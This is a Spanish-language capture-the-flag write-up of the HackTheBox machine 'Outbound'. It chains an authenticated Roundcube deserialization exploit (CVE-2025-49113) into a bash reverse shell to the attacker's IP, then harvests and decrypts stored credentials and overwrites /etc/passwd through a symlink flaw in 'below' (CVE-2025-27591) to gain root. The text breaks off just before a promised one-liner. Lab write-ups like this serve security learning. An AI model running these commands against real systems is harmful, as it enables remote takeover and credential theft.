Outbound – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
![]()
Resumen Link to heading
“Outbound” es una máquina de dificultad Fácil de la plataforma HackTheBox. Empezamos esta máquina con credenciales dadas para un servicio Roundcube. Este servicio es vulnerable a CVE-2025-49113 la cual es una vulnerabilidad Remote Code Execution para un usuario autenticado; ganando así acceso a un container. Este container contiene credenciales encriptadas en scripts las cuales somos capaces de extraer; ganando así acceso al servicio SSH de la máquina original con un usuario. Este usuario puede ejecutar el binario below con sudo; esto nos lleva a otra vulnerabilidad catalogada como CVE-2025-27591 la cual nos permite modificar archivos sensibles del sistema; agregando un usuario root a nuestro antojo y comprometiendo así la máquina víctima.
Outbound con credenciales para la siguiente cuenta: tyler / LhKL1o9Nm3X2User / Usuario Link to heading
Un rápido escaneo con Nmap muestra sólo 2 puertos TCP abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.204.234
22 SSH y 80 HTTP.
Aplicamos algunos scripts de reconocimiento sobre estos puertos con la flag -sVC:
❯ sudo nmap -sVC -p22,80 10.129.204.234
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-12 18:50 -04
Nmap scan report for 10.129.204.234
Host is up (0.33s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.50 seconds
Del output podemos ver un subdominio: mail.outbound.htb.
Agregamos el dominio principal (outbound.htb) y subdominio (mail.outbound.htb) junto con la IP de la máquina víctima a nuestro archivo /etc/hosts:
❯ echo '10.129.204.234 mail.outbound.htb outbound.htb' | sudo tee -a /etc/hosts
Usamos WhatWeb para obtener información de las tecnologías siendo utilizadas por el sitio web. Vemos así:
❯ whatweb -a 3 http://mail.outbound.htb
http://mail.outbound.htb [200 OK] Bootstrap, Content-Language[en], Cookies[roundcube_sessid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], HttpOnly[roundcube_sessid], IP[10.129.204.234], JQuery, PasswordField[_pass], RoundCube, Script, Title[Roundcube Webmail :: Welcome to Roundcube Webmail], X-Frame-Options[sameorigin], nginx[1.24.0]
Podemos ver que el servidor web está corriendo sobre Nginx y que éste también se encuentra utilizando Roundcube.
Roundcube is a free, open-source webmail client that allows users to read, send, and organize emails. It’s known for its user-friendly interface and supports multiple languages.Roundcube es un software para servicio de mails.Visitando http://mail.outbound.htb muestra un simple panel de login para Roundcube. Usamos entonces las credenciales dadas al inicio de esta máquina: tyler:LhKL1o9Nm3X2

Ya dentro del panel, podemos clickear en la pestaña ? About en la parte inferior izquierda del panel. Al hacer esto se nos despliega una nueva ventana:

Tenemos una versión para Roundcube: 1.6.10.
Buscando por roundcube 1.6.10 nos lleva a este blog. Allí se habla de una vulnerabilidad catalogada como CVE-2025-49113 la cual es un Remote Code Execution (RCE) para usuarios autenticados en Roundcube para todas las versiones previas a 1.5.10 y 1.6.11. El exploit permite un Deserialization Attack (ataque de deserialización) para luego ser encadenada en un Remote Code Execution. Para conocer en mayor profundidad acerca de la vulnerabilidad, invito al lector interesado a leer los detalles en el blog.
Dado este dato, nuestra versión de Roundcube debería de ser vulnerable. En el mismo blog se da un repositorio con un PoC para la vulnerabilidad. Es un script de PHP (por lo que requerimos tener instalado PHP en nuestra máquina de atacantes). Clonamos el repositorio del exploit:
❯ git clone https://github.com/fearsoff-org/CVE-2025-49113.git -q
❯ cd CVE-2025-49113
El código mismo, en la línea 14 da una pista de cómo debe de ser ejecutado:
php CVE-2025-49113.php http://roundcube.local username password "touch /tmp/pwned"
Por lo que lo adaptaremos para enviarnos una reverse shell. Primero, en otra terminal empezamos un listener con netcat por el puerto 443:
❯ nc -lvnp 443
listening on [any] 443 ...
Luego, ejecutamos el exploit para mandarnos una reverse shell a nuestra máquina de atacantes:
❯ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.80/443 0>&1'"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: tyler
### Authentication successful
### Command to be executed:
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.80/443 0>&1'
### Injecting payload...
<SNIP>
Donde 10.10.16.80 es nuestra IP de atacantes y 443 el puerto por el cual estamos en escucha en netcat.
Así, ejecutando el exploit, obtenemos una shell como el usuario www-data en nuestro listener con netcat:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.80] from (UNKNOWN) [10.129.204.234] 41418
bash: cannot set terminal process group (248): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mail:/var/www/html/roundcube/public_html$ whoami
www-data
Esta página muestra que la ruta para los archivos de configuración de Roundcube debería de ser:
<root Roundcube>/config/config.inc.php
Podemos tratar de leer este archivo luego de filtrar algunas líneas vacías y comentarios con grep:
www-data@mail:/var/www/html/roundcube$ cat /var/www/html/roundcube/config/config.inc.php | grep -vE '^//|^$'
<?php
/*
+-----------------------------------------------------------------------+
| Local configuration for the Roundcube Webmail installation. |
| |
| This is a sample configuration file only containing the minimum |
| setup required for a functional installation. Copy more options |
| from defaults.inc.php to this file to override the defaults. |
| |
| This file is part of the Roundcube Webmail client |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
+-----------------------------------------------------------------------+
*/
$config = [];
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['imap_host'] = 'localhost:143';
$config['smtp_host'] = 'localhost:587';
$config['smtp_user'] = '%u';
$config['smtp_pass'] = '%p';
$config['support_url'] = '';
$config['product_name'] = 'Roundcube Webmail';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
$config['plugins'] = [
'archive',
'zipdownload',
];
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';
Podemos ver una contraseña para una base de datos con MySQL. También muestra algunas configuraciones para el servicio Simple Mail Transfer Protocol (SMTP).
Accedemos a la base de datos con MySQL:
www-data@mail:/var/www/html/roundcube$ mysql -u roundcube -p'RCDBPass2025' -h localhost roundcube
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 193
Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [roundcube]>
There is a users table. But its content is not useful:
MariaDB [roundcube]> show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache |
| cache_index |
| cache_messages |
| cache_shared |
| cache_thread |
| collected_addresses |
| contactgroupmembers |
| contactgroups |
| contacts |
| dictionary |
| filestore |
| identities |
| responses |
| searches |
| session |
| system |
| users |
+---------------------+
17 rows in set (0.001 sec)
MariaDB [roundcube]> select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| user_id | username | mail_host | created | last_login | failed_login | failed_login_counter | language | preferences |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| 1 | jacob | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
| 2 | mel | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL | NULL | en_US | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
| 3 | tyler | localhost | 2025-06-08 13:28:55 | 2025-07-12 23:31:19 | 2025-06-11 07:51:22 | 1 | en_US | a:2:{s:11:"client_hash";s:16:"HNSaTZ0gLxTyCZQS";i:0;b:0;} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
3 rows in set (0.001 sec)
No obtenemos credenciales, pero sí obtenemos 3 usuarios: tyler, jacob and mel.
Además, notar que estamos dentro de un container con Docker:
www-data@mail:/var/www/html/roundcube$ hostname -I
172.17.0.2
Luego de una breve búsqueda, este foro muestra que podemos ejecutar scritps con Roundcube. Estos deberían de estar localizados en la ruta:
<root Roundcube>/bin/
Revisando el contenido de este directorio en la máquina víctima tenemos:
www-data@mail:/var/www/html/roundcube$ ls -la bin
total 100
drwxr-xr-x 2 www-data www-data 4096 Feb 8 08:47 .
drwxr-xr-x 1 www-data www-data 4096 Jun 6 18:55 ..
-rwxr-xr-x 1 www-data www-data 1329 Feb 8 08:47 cleandb.sh
-rwxr-xr-x 1 www-data www-data 947 Feb 8 08:47 cssshrink.sh
-rwxr-xr-x 1 www-data www-data 2730 Feb 8 08:47 decrypt.sh
-rwxr-xr-x 1 www-data www-data 4740 Feb 8 08:47 deluser.sh
-rwxr-xr-x 1 www-data www-data 1658 Feb 8 08:47 gc.sh
-rwxr-xr-x 1 www-data www-data 1335 Feb 8 08:47 indexcontacts.sh
-rwxr-xr-x 1 www-data www-data 1964 Feb 8 08:47 initdb.sh
-rwxr-xr-x 1 www-data www-data 6434 Feb 8 08:47 installto.sh
-rwxr-xr-x 1 www-data www-data 1233 Feb 8 08:47 jsshrink.sh
-rwxr-xr-x 1 www-data www-data 529 Feb 8 08:47 makedoc.sh
-rwxr-xr-x 1 www-data www-data 2437 Feb 8 08:47 moduserprefs.sh
-rwxr-xr-x 1 www-data www-data 4444 Feb 8 08:47 msgexport.sh
-rwxr-xr-x 1 www-data www-data 3763 Feb 8 08:47 msgimport.sh
-rwxr-xr-x 1 www-data www-data 13026 Feb 8 08:47 update.sh
-rwxr-xr-x 1 www-data www-data 3709 Feb 8 08:47 updatecss.sh
-rwxr-xr-x 1 www-data www-data 1755 Feb 8 08:47 updatedb.sh
Hay uns script decrypt.sh, cuyo contenido es:
#!/usr/bin/env php
<?php
/*
+-----------------------------------------------------------------------+
| This file is part of the Roundcube Webmail client |
| |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
| |
| PURPOSE: |
| Decrypt the encrypted parts of the HTTP Received: headers |
+-----------------------------------------------------------------------+
| Author: Tomas Tevesz <ice@extreme.hu> |
+-----------------------------------------------------------------------+
*/
/**
* If http_received_header_encrypt is configured, the IP address and the
* host name of the added Received: header is encrypted with 3DES, to
* protect information that some could consider sensitive, yet their
* availability is a must in some circumstances.
*
* Such an encrypted Received: header might look like:
*
* Received: from DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==
* [my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4]
* with HTTP/1.1 (POST); Thu, 14 May 2009 19:17:28 +0200
*
* In this example, the two encrypted components are the sender host name
* (DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==) and the IP
* address (my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4).
*
* Using this tool, they can be decrypted into plain text:
*
* $ bin/decrypt.sh 'my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4' \
* > 'DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ=='
* 84.3.187.208
* 5403BBD0.catv.pool.telekom.hu
* $
*
* Thus it is known that this particular message was sent by 84.3.187.208,
* having, at the time of sending, the name of 5403BBD0.catv.pool.telekom.hu.
*
* If (most likely binary) junk is shown, then
* - either the encryption password has, between the time the mail was sent
* and 'now', changed, or
* - you are dealing with counterfeit header data.
*/
define('INSTALL_PATH', realpath(__DIR__ .'/..') . '/');
require INSTALL_PATH . 'program/include/clisetup.php';
if ($argc < 2) {
die("Usage: " . basename($argv[0]) . " encrypted-hdr-part [encrypted-hdr-part ...]\n");
}
$RCMAIL = rcube::get_instance();
for ($i = 1; $i < $argc; $i++) {
printf("%s\n", $RCMAIL->decrypt($argv[$i]));
};
Es un script que desencripta contraseñas.
Ahora bien, para que este script funcione debemos de pasar un argumento llamado encrypted-hdr-part. Éste se encuentra defiinido en el archivo config.inc.php como:
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
Para obtener la llave correcta necesitamos de volver a la base de datos con MySQL. Allí deberíamos de ver una tabla llamada session. Esta tabla contiene algunas columnas tales como:
MariaDB [roundcube]> SHOW COLUMNS FROM session;
+---------+--------------+------+-----+---------------------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------+--------------+------+-----+---------------------+-------+
| sess_id | varchar(128) | NO | PRI | NULL | |
| changed | datetime | NO | MUL | 1000-01-01 00:00:00 | |
| ip | varchar(40) | NO | | NULL | |
| vars | mediumtext | NO | | NULL | |
+---------+--------------+------+-----+---------------------+-------+
Leyendo las columnas sess_id y vars muestra:
MariaDB [roundcube]> SELECT sess_id, vars FROM session;
<SNIP>
| 6a5ktqih5uca6lj8vrmgh9v0oh | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
| 6vpm04cifu6iqo0krdcjm3tuje | dGVtcHxiOjE7bGFuZ3VhZ2V8czo1OiJlbl9VUyI7dGFza3xzOjU6ImxvZ2luIjtza2luX2NvbmZpZ3xhOjc6e3M6MTc6InN1cHBvcnRlZF9sYXlvdXRzIjthOjE6e2k6MDtzOjEwOiJ3aWRlc2NyZWVuIjt9czoyMjoianF1ZXJ5X3VpX2NvbG9yc190aGVtZSI7czo5OiJib290c3RyYXAiO3M6MTg6ImVtYmVkX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTk6ImVkaXRvcl9jc3NfbG9jYXRpb24iO3M6MTc6Ii9zdHlsZXMvZW1iZWQuY3NzIjtzOjE3OiJkYXJrX21vZGVfc3VwcG9ydCI7YjoxO3M6MjY6Im1lZGlhX2Jyb3dzZXJfY3NzX2xvY2F0aW9uIjtzOjQ6Im5vbmUiO3M6MjE6ImFkZGl0aW9uYWxfbG9nb190eXBlcyI7YTozOntpOjA7czo0OiJkYXJrIjtpOjE7czo1OiJzbWFsbCI7aToyO3M6MTA6InNtYWxsLWRhcmsiO319cmVxdWVzdF90b2tlbnxzOjMyOiJXNW9LTk5DY2dVdkhzNmtGc0NNZUR2MXFpNXY5cUxWTSI7 |
La primera columna está relacionada con una sesión en la web. Por ejemplo, una vez logueados en Roundcube como el usuario tyler, si revisamos nuestra cookie, ésta tendrá el mismo valor que en la columna sess_id.
Además de nuestra sesión (6vpm04cifu6iqo0krdcjm3tuje en este caso en específico), tenemos otra sesión definida como 6a5ktqih5uca6lj8vrmgh9v0oh. El contenido de la columna vars parece estar encodeado en base64, por lo que lo decodeamos y obtenemos así:
❯ echo bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 | base64 -d
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";
De todo este output, hay un valor interesante:
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
Tenemos un campo de contraseña (password) con valor L7Rv00A8TuwJAr67kITxxcSgnIk25Am/.
Dado que ésta puede ser una credencial encriptada, usamos el script decrypt.sh que habíamos hallado antes:
www-data@mail:/var/www/html/roundcube$ bin/decrypt.sh L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
595mO8DmwGeD
Tenemos lo que parece ser una contraseña: 595mO8DmwGeD.
Antes habíamos encontrado 3 usuarios en la máquina víctima: tyler, mel y jacob. Dado que ésta podría ser la contraseña para uno de estos usuarios en Roundcube, probamos esta contraseña para los distintos usuarios hallados. La credencial jacob:595mO8DmwGeD funciona. Una vez dentro, podemos ver un email del usuario tyler:

Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4
Remember to change your password when you next log into your account.
Thanks!
Tyler
Nos da una contraseña en base a a recientes políticas nuevas: gY4Wr3a1evp4. Revisamos si esta contraseña funciona para el usuario jacob u otros usuarios en el sistema usando el servicio SSH con la herramienta NetExec:
❯ nxc ssh outbound.htb -u jacob mel tyler -p 'gY4Wr3a1evp4'
SSH 10.129.204.234 22 outbound.htb [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.12
SSH 10.129.204.234 22 outbound.htb [+] jacob:gY4Wr3a1evp4 Linux - Shell access!
Esta contraseña funciona para el usuario jacob.
Ergo, logueamos en la máquina víctima usando el servicio SSH y las credenciales del usuario jacob:
❯ sshpass -p 'gY4Wr3a1evp4' ssh -o stricthostkeychecking=no jacob@10.129.204.234
<SNIP>
Last login: Thu Jul 10 11:44:49 2025 from 10.10.14.77
jacob@outbound:~$
Podemos extraer la flag de usuario.
Root Link to heading
Revisamos si podemos ejecutar comandos con sudo, y podemos:
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
Podemos ejecutar /usr/bin/below como cualquier usuario del sistema.
Hace algunos meses se publicó una vulnerabilidad para below catalogada como CVE-2025-27591 la cual permite escalar privilegios a través de links simbólicos y así editar archivos privilegiados del sistema. Podemos así, editando el archivo /etc/shadow, agregar un usuario equivalente a root.
Todos los archivos de log para el binario de below deberían de estar localizado en la ruta /var/log/below/:
jacob@outbound:~$ ls -la /var/log/below
total 16
drwxrwxrwx 3 root root 4096 Jul 13 01:38 .
drwxrwxr-x 13 root syslog 4096 Jul 13 00:00 ..
-rw-rw-rw- 1 jacob jacob 236 Jul 8 20:45 error_jacob.log
-rw-rw-rw- 1 root root 0 Jul 13 01:38 error_root.log
Hay un archivo error_root.log.
Modoficaremos el archivo /etc/passwd. Por tanto, primero que todo, creamos un “backup” (respaldo) para este archivo:
jacob@outbound:~$ cp /etc/passwd /home/jacob/etc_passwd_backup
Una vez hecho, creamos un link simbólico al archivo que queremos modificar (/etc/passwd):
jacob@outbound:~$ rm -f /var/log/below/error_root.log
jacob@outbound:~$ ln -sf /etc/passwd /var/log/below/error_root.log
Abusamos del comando con sudo para aprovechar el symlink:
jacob@outbound:~$ sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
Ahora, creamos el contenido el cual reemplazará al archivo /etc/passwd. En este caso creamos la contraseña gunzf0x123$!:
jacob@outbound:~$ echo "gunzf0x:$(openssl passwd -6 'gunzf0x123$!'):0:0:root:/root:/bin/bash" > /home/jacob/payload
Y usamos el link simbólico para reemplazar el archivo /etc/passwd:
jacob@outbound:~$ cat /home/jacob/payload > /var/log/below/error_root.log
Actuando rápidamente (ya que el archivo se restaura a su estado original rápidamente), cambiamos a este nuevo usuario agregado:
jacob@outbound:~$ su gunzf0x
Password: gunzf0x123$!
gunzf0x@outbound:/home/jacob# id
uid=0(root) gid=0(root) groups=0(root)
Dado que el archivo /etc/passwd es generado rápidamente, podemos ejecutar todo esto como un oneliner:
